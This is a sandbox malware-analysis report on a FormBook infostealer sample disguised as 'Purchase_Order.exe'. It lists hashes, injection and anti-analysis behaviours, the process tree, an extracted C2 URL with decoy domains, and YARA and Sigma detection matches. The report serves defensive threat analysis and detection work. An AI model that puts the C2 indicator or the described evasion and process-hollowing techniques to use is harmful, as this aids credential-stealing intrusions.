Play interactive tour

Edit tour

Analysis Report Purchase_Order.exe

Overview

General Information

Sample Name:	Purchase_Order.exe
Analysis ID:	433266
MD5:	4aa8159742becd97f9ecdda33798b065
SHA1:	775aee28c33102de8c4bdd45dd09821b717b8678
SHA256:	65c6621762bb1bb1589a4a58d4ab2d3fa7c02e581b217b86ed2ff51227d7565b
Tags:	exeFormbook
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Sigma detected: Suspicious Process Start Without DLL

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Writes to foreign memory regions

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

Purchase_Order.exe (PID: 1528 cmdline: 'C:\Users\user\Desktop\Purchase_Order.exe' MD5: 4AA8159742BECD97F9ECDDA33798B065)

RegSvcs.exe (PID: 3608 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

explorer.exe (PID: 3292 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

systray.exe (PID: 1752 cmdline: C:\Windows\SysWOW64\systray.exe MD5: 1373D481BE4C8A6E5F5030D2FB0A0C68)

cmd.exe (PID: 1200 cmdline: /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.culturalinterface.net/uqf5/"], "decoy": ["paolograssino.com", "hammockcoastproperty.net", "blinbins.com", "financierapoorvenirsas.com", "mattruddle.com", "wighumanhair.com", "tvdajiang14.com", "theblackharvest.com", "tylerrucarean.com", "a-prime-india-demataccount.zone", "amboselisafarigallery.info", "toolbnbapp.com", "scientificindustrial.com", "trainup-wall.com", "pocosmo.com", "thebluepottingtable.com", "leavelogs.com", "verbalfreedom.com", "qa4i.com", "kiiikoo.com", "glossedbythebrat.com", "gorditasdemaiz.com", "healthystartswithin.com", "homeanddesignstudio.com", "skalewide.com", "bestdispatchtowitnesstoday.info", "cineconhisense.com", "mahibhardwaj.com", "imperatrizacam.com", "bezoekburen.com", "qbakan.com", "ansalapishagunrealestate.com", "crow94723.com", "kosova.one", "chhhju.com", "cominghomestead.com", "ingenious.care", "unclesamsoftware.com", "xn--cfe12fhb.com", "tradinglantern.com", "wwwthedrudgereport.com", "researchinnovations.net", "to-cs.com", "sandia.info", "tachibana-fukushima.com", "pzzfw.com", "flockuplabs.com", "stays.travel", "itertempora.net", "murrietayoga.com", "plus5tocrafting.com", "ovidrelprefilledsyringe.com", "prltoday.com", "l24consultants.net", "mexicobeachselfstorage.com", "bnvjufj.icu", "schulze.media", "thewinebarrel.info", "blesst.tech", "newtec.life", "acmarketinghacks.com", "elitevillaholidays.com", "pr-daily.com", "cgjanvier.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xb44d0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xb486a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xdb8f0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xdbc8a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xc057d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xe799d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xc0069:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xe7489:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xc067f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xe7a9f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xc07f7:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xe7c17:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xb5282:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xdc6a2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xbf2e4:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xe6704:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb5ffa:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xdd41a:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xc566f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xeca8f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xc6712:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xc25a1:$sqlite3step: 68 34 1C 7B E1 0xc26b4:$sqlite3step: 68 34 1C 7B E1 0xe99c1:$sqlite3step: 68 34 1C 7B E1 0xe9ad4:$sqlite3step: 68 34 1C 7B E1 0xc25d0:$sqlite3text: 68 38 2A 90 C5 0xc26f5:$sqlite3text: 68 38 2A 90 C5 0xe99f0:$sqlite3text: 68 38 2A 90 C5 0xe9b15:$sqlite3text: 68 38 2A 90 C5 0xc25e3:$sqlite3blob: 68 53 D8 7F 8C 0xc270b:$sqlite3blob: 68 53 D8 7F 8C 0xe9a03:$sqlite3blob: 68 53 D8 7F 8C 0xe9b2b:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: Purchase_Order.exe PID: 1528	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 21 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.2.RegSvcs.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
4.0.RegSvcs.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.0.RegSvcs.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.0.RegSvcs.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
4.0.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.0.RegSvcs.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.0.RegSvcs.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
4.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.2.RegSvcs.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.2.RegSvcs.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 7 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Process Start Without DLL

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: 'C:\Users\user\Desktop\Purchase_Order.exe' , ParentImage: C:\Users\user\Desktop\Purchase_Order.exe, ParentProcessId: 1528, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 3608

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: 'C:\Users\user\Desktop\Purchase_Order.exe' , ParentImage: C:\Users\user\Desktop\Purchase_Order.exe, ParentProcessId: 1528, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 3608

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.culturalinterface.net/uqf5/"], "decoy": ["paolograssino.com", "hammockcoastproperty.net", "blinbins.com", "financierapoorvenirsas.com", "mattruddle.com", "wighumanhair.com", "tvdajiang14.com", "theblackharvest.com", "tylerrucarean.com", "a-prime-india-demataccount.zone", "amboselisafarigallery.info", "toolbnbapp.com", "scientificindustrial.com", "trainup-wall.com", "pocosmo.com", "thebluepottingtable.com", "leavelogs.com", "verbalfreedom.com", "qa4i.com", "kiiikoo.com", "glossedbythebrat.com", "gorditasdemaiz.com", "healthystartswithin.com", "homeanddesignstudio.com", "skalewide.com", "bestdispatchtowitnesstoday.info", "cineconhisense.com", "mahibhardwaj.com", "imperatrizacam.com", "bezoekburen.com", "qbakan.com", "ansalapishagunrealestate.com", "crow94723.com", "kosova.one", "chhhju.com", "cominghomestead.com", "ingenious.care", "unclesamsoftware.com", "xn--cfe12fhb.com", "tradinglantern.com", "wwwthedrudgereport.com", "researchinnovations.net", "to-cs.com", "sandia.info", "tachibana-fukushima.com", "pzzfw.com", "flockuplabs.com", "stays.travel", "itertempora.net", "murrietayoga.com", "plus5tocrafting.com", "ovidrelprefilledsyringe.com", "prltoday.com", "l24consultants.net", "mexicobeachselfstorage.com", "bnvjufj.icu", "schulze.media", "thewinebarrel.info", "blesst.tech", "newtec.life", "acmarketinghacks.com", "elitevillaholidays.com", "pr-daily.com", "cgjanvier.com"]}

Multi AV Scanner detection for submitted file

Show sources

Source: Purchase_Order.exe	Virustotal: Detection: 20%			Perma Link
Source: Purchase_Order.exe	ReversingLabs: Detection: 15%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE

Source: 4.2.RegSvcs.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 4.0.RegSvcs.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: Purchase_Order.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: Purchase_Order.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

